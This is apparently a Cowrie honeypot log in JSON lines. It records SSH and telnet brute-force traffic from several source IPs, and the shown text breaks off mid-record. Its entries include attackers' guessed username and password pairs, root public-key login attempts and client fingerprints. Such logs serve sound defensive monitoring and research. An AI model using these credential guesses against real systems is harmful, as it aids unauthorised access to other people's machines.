{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:49.538352Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1Basebal","message":"login attempt [user/1Basebal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:50.034005Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1a2a3a4a5a","message":"login attempt [user/1a2a3a4a5a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:51.142932Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19451945","message":"login attempt [user/19451945] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:52.252453Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1933","message":"login attempt [user/1933] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:53.360788Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19101981","message":"login attempt [user/19101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:54.469822Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:30:55.579724Z","src_ip":"2.57.121.25","session":"aff0691b98d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.237.92","src_port":48866,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a42972f946a","protocol":"ssh","message":"New connection: 196.189.237.92:48866 (10.17.0.5:22) [session: 1a42972f946a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:03.160286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:03.165664Z","src_ip":"196.189.237.92","session":"1a42972f946a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:03.336704Z","src_ip":"196.189.237.92","session":"1a42972f946a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apply","message":"login attempt [root/apply] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:04.048120Z","src_ip":"196.189.237.92","session":"1a42972f946a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.5726592540741,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:04.053793Z","src_ip":"152.42.224.71","session":"d4909d9cba03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:05.218394Z","src_ip":"196.189.237.92","session":"1a42972f946a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61304,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2a5629c9cab","protocol":"ssh","message":"New connection: 152.42.212.128:61304 (10.17.0.5:22) [session: e2a5629c9cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:05.508964Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:05.513657Z","src_ip":"152.42.212.128","session":"e2a5629c9cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:05.517357Z","src_ip":"152.42.212.128","session":"e2a5629c9cab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00385689735413,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:08.576939Z","src_ip":"152.42.224.71","session":"206cbbbc96e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58858,"dst_ip":"10.17.0.5","dst_port":23,"session":"62a62e846fb9","protocol":"telnet","message":"New connection: 152.42.224.71:58858 (10.17.0.5:23) [session: 62a62e846fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:15.273407Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39104,"dst_ip":"10.17.0.5","dst_port":23,"session":"fff6158a3805","protocol":"telnet","message":"New connection: 152.42.224.71:39104 (10.17.0.5:23) [session: fff6158a3805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:19.530827Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":35752,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f30b48e018","protocol":"ssh","message":"New connection: 108.178.7.34:35752 (10.17.0.5:22) [session: 78f30b48e018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.781810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.786488Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.822396Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:dd:11:32:c2:6a:81:e7:f8:0b:fa:ee:af:34:7d:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf+En9b+E4iY/o3xJZVmgdwndJlr//w1iruX/01Y66fUOBd9fnS82npkBP4OoP8sDiZokQzYd9O/0IHRC+ZY/B82Bl5j8hYs+KaXR5aKdLWUal25X+i1fWyFFazxhzkNi+kueOvjR6AFoNyKpcyBWRCGyuOCYcge7COwEXvK+XppYqwkORv7+PcihyitTfPscemgpIuG2Pt9Hd/CGbSJyvT1ncwn8lgXwpYghisujJ38u4OuprFuKx2OaYc13XiuF9FGR/KjtoPrw3DiZb8VCvHMY3PDUDiWS7utaW0RqEKTZO2emHnTpyVsQFJ9/ZKxP4t4EFbOo/Mi6E1ZUAMEOd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:dd:11:32:c2:6a:81:e7:f8:0b:fa:ee:af:34:7d:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.942354Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:dd:11:32:c2:6a:81:e7:f8:0b:fa:ee:af:34:7d:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCf+En9b+E4iY/o3xJZVmgdwndJlr//w1iruX/01Y66fUOBd9fnS82npkBP4OoP8sDiZokQzYd9O/0IHRC+ZY/B82Bl5j8hYs+KaXR5aKdLWUal25X+i1fWyFFazxhzkNi+kueOvjR6AFoNyKpcyBWRCGyuOCYcge7COwEXvK+XppYqwkORv7+PcihyitTfPscemgpIuG2Pt9Hd/CGbSJyvT1ncwn8lgXwpYghisujJ38u4OuprFuKx2OaYc13XiuF9FGR/KjtoPrw3DiZb8VCvHMY3PDUDiWS7utaW0RqEKTZO2emHnTpyVsQFJ9/ZKxP4t4EFbOo/Mi6E1ZUAMEOd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.946070Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:82:94:60:a1:16:c9:a3:d4:3c:6a:c0:86:1e:03:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkUbEKAjXhCp4b+4F6d7kBR9gAei51hNZKW+bii9zSiehMqVT5ZAdPkNEIqNrEhYY/5m7VOuvoizOAAVV0v+h7kHdHQqbf2YbhZiJdtuz0VJFaW2mac6U/UPpdgByAWDuILBVXSu2r9g/QduWUgGB/Xayc+tAKXsMnCwggGDnzzLFtktMHE1HsFyfW8YQShUGwoJsj6nWVap5pMYWGJB7axJ32HMPu+q4a7qUS+gSnFX+NbezrC7HonIpECT22cFz4JuUCbJRNIQGuSjia/YKcFQNk3PgyXwq9owAa0qXT52QXuCbp1mTYgHDzV8WAnJfvjjxDpbt6imwvl5KA7807","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:82:94:60:a1:16:c9:a3:d4:3c:6a:c0:86:1e:03:df","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.975243Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:82:94:60:a1:16:c9:a3:d4:3c:6a:c0:86:1e:03:df","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCkUbEKAjXhCp4b+4F6d7kBR9gAei51hNZKW+bii9zSiehMqVT5ZAdPkNEIqNrEhYY/5m7VOuvoizOAAVV0v+h7kHdHQqbf2YbhZiJdtuz0VJFaW2mac6U/UPpdgByAWDuILBVXSu2r9g/QduWUgGB/Xayc+tAKXsMnCwggGDnzzLFtktMHE1HsFyfW8YQShUGwoJsj6nWVap5pMYWGJB7axJ32HMPu+q4a7qUS+gSnFX+NbezrC7HonIpECT22cFz4JuUCbJRNIQGuSjia/YKcFQNk3PgyXwq9owAa0qXT52QXuCbp1mTYgHDzV8WAnJfvjjxDpbt6imwvl5KA7807","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:21.978690Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:d1:4c:4a:56:19:5d:94:b9:00:23:3c:d2:b7:5f:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmVenzFlvpjjs14NZUbH3bdotNMjdfLASp+yRdEz0oYu8oBZ/KiX4b99HOGVVi821jVxDo0hsRt3G5IVXztSgP37waHSAl5FiqZSxPpgAFRNbLTHRrCnWKwuXwoW9bvApX4AlSs9hPlj11hxHab8uGqnIPTmUkUezIr/7dI8N+2nTrK3MHXhngBADYB/i6L05YIovv1eaHlgwjYNWc0VDPIDcNM1pR6D/6Lf2XCmQQu8Zw3BOpIUTXvTV64OK0SNvGwVSuBppMm4YBczYAOY4zDxawUbq78GyG6XLHarU/AHUDwslBIN9X9nsF7uxPFDASMl17vWEt4KG8HAfeB+qZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0e:d1:4c:4a:56:19:5d:94:b9:00:23:3c:d2:b7:5f:72","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.009902Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:d1:4c:4a:56:19:5d:94:b9:00:23:3c:d2:b7:5f:72","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmVenzFlvpjjs14NZUbH3bdotNMjdfLASp+yRdEz0oYu8oBZ/KiX4b99HOGVVi821jVxDo0hsRt3G5IVXztSgP37waHSAl5FiqZSxPpgAFRNbLTHRrCnWKwuXwoW9bvApX4AlSs9hPlj11hxHab8uGqnIPTmUkUezIr/7dI8N+2nTrK3MHXhngBADYB/i6L05YIovv1eaHlgwjYNWc0VDPIDcNM1pR6D/6Lf2XCmQQu8Zw3BOpIUTXvTV64OK0SNvGwVSuBppMm4YBczYAOY4zDxawUbq78GyG6XLHarU/AHUDwslBIN9X9nsF7uxPFDASMl17vWEt4KG8HAfeB+qZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.014476Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:85:06:ae:9e:90:dd:e7:c3:18:52:b7:98:c7:fe:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYi7zWCvGh/ZtPPE4yLVn1FNtgylqg1BB4GRhvWTtBwWCcJRR9xX3kcu0eSCr3joS4oBAOX/uwyTmCi0H70P75R0k7plhcu232cQgPo18X5lOJdzzeQYudiRFj/t640T+bNHrEScpIa6KwT5ROwdf8D28B/su8autI7bjGG7MyXlQsR1U5VICrjM4vFBd7soSnvWjavC8BpDekBgg0bFQaGqTbNdf6BBk87HIfy5gk5ejhxrhV+7lF6tCS3knxWAwJPhTQF521B/iH7WX+B/ZwSlIAybZYEXGOXFRFacRsovKDXQ6BWROg6SngiziiMK2Qiibj+7Ms9XDJIkYBvsd3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:85:06:ae:9e:90:dd:e7:c3:18:52:b7:98:c7:fe:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.046580Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:85:06:ae:9e:90:dd:e7:c3:18:52:b7:98:c7:fe:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYi7zWCvGh/ZtPPE4yLVn1FNtgylqg1BB4GRhvWTtBwWCcJRR9xX3kcu0eSCr3joS4oBAOX/uwyTmCi0H70P75R0k7plhcu232cQgPo18X5lOJdzzeQYudiRFj/t640T+bNHrEScpIa6KwT5ROwdf8D28B/su8autI7bjGG7MyXlQsR1U5VICrjM4vFBd7soSnvWjavC8BpDekBgg0bFQaGqTbNdf6BBk87HIfy5gk5ejhxrhV+7lF6tCS3knxWAwJPhTQF521B/iH7WX+B/ZwSlIAybZYEXGOXFRFacRsovKDXQ6BWROg6SngiziiMK2Qiibj+7Ms9XDJIkYBvsd3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.050312Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:ec:a2:4c:6e:09:10:62:70:25:ae:37:1a:32:72:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaPaTv3R/dwHvz0hkBFNohu17T90ExTkYqpIWYkR25D7+w8MvG0glz0ISxx8qPoKoIyHBNHV7d2tPsNo2CrLmTTMsq7LAAV6f93K9+lPHnfS7V0x0Sku2WRZvgdN44+wY0ydxlPanwfjAJote9YVijHKhYUqqrXQmyBmelG3fRxRjIYA53VX9QB5oGg+CF0X4OUyjhYy/0ItVzc3JdWXFVzJ56mnST61iNWwFb3+Cg/r5gjUsfppjtbVIljSJ7erjFibu28DMNdPMg8g99dRfZIgzDgV54YI1MsnyLQuRBgXwqj+MwnuGZezW3Wl2X4v2To4dmd9PVGmjh3/tC+JAv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:ec:a2:4c:6e:09:10:62:70:25:ae:37:1a:32:72:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.079689Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:ec:a2:4c:6e:09:10:62:70:25:ae:37:1a:32:72:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaPaTv3R/dwHvz0hkBFNohu17T90ExTkYqpIWYkR25D7+w8MvG0glz0ISxx8qPoKoIyHBNHV7d2tPsNo2CrLmTTMsq7LAAV6f93K9+lPHnfS7V0x0Sku2WRZvgdN44+wY0ydxlPanwfjAJote9YVijHKhYUqqrXQmyBmelG3fRxRjIYA53VX9QB5oGg+CF0X4OUyjhYy/0ItVzc3JdWXFVzJ56mnST61iNWwFb3+Cg/r5gjUsfppjtbVIljSJ7erjFibu28DMNdPMg8g99dRfZIgzDgV54YI1MsnyLQuRBgXwqj+MwnuGZezW3Wl2X4v2To4dmd9PVGmjh3/tC+JAv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.083581Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:22.119553Z","src_ip":"108.178.7.34","session":"78f30b48e018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40114,"dst_ip":"10.17.0.5","dst_port":23,"session":"09c29662ae61","protocol":"telnet","message":"New connection: 152.42.224.71:40114 (10.17.0.5:23) [session: 09c29662ae61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:26.211114Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45056,"dst_ip":"10.17.0.5","dst_port":23,"session":"273f02beaa05","protocol":"telnet","message":"New connection: 152.42.224.71:45056 (10.17.0.5:23) [session: 273f02beaa05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:40.931101Z"}
{"eventid":"cowrie.session.closed","duration":64.7429256439209,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:47.669681Z","src_ip":"152.42.224.71","session":"3f3a835e8f23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37074,"dst_ip":"10.17.0.5","dst_port":23,"session":"8374bd7f4f60","protocol":"telnet","message":"New connection: 152.42.224.71:37074 (10.17.0.5:23) [session: 8374bd7f4f60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:51.794196Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43320,"dst_ip":"10.17.0.5","dst_port":23,"session":"d61d4395bed6","protocol":"telnet","message":"New connection: 152.42.224.71:43320 (10.17.0.5:23) [session: d61d4395bed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:56.262140Z"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.201.80","src_port":28052,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f5c45ffe8e1","protocol":"ssh","message":"New connection: 171.244.201.80:28052 (10.17.0.5:22) [session: 0f5c45ffe8e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:58.426290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:31:58.435478Z","src_ip":"171.244.201.80","session":"0f5c45ffe8e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-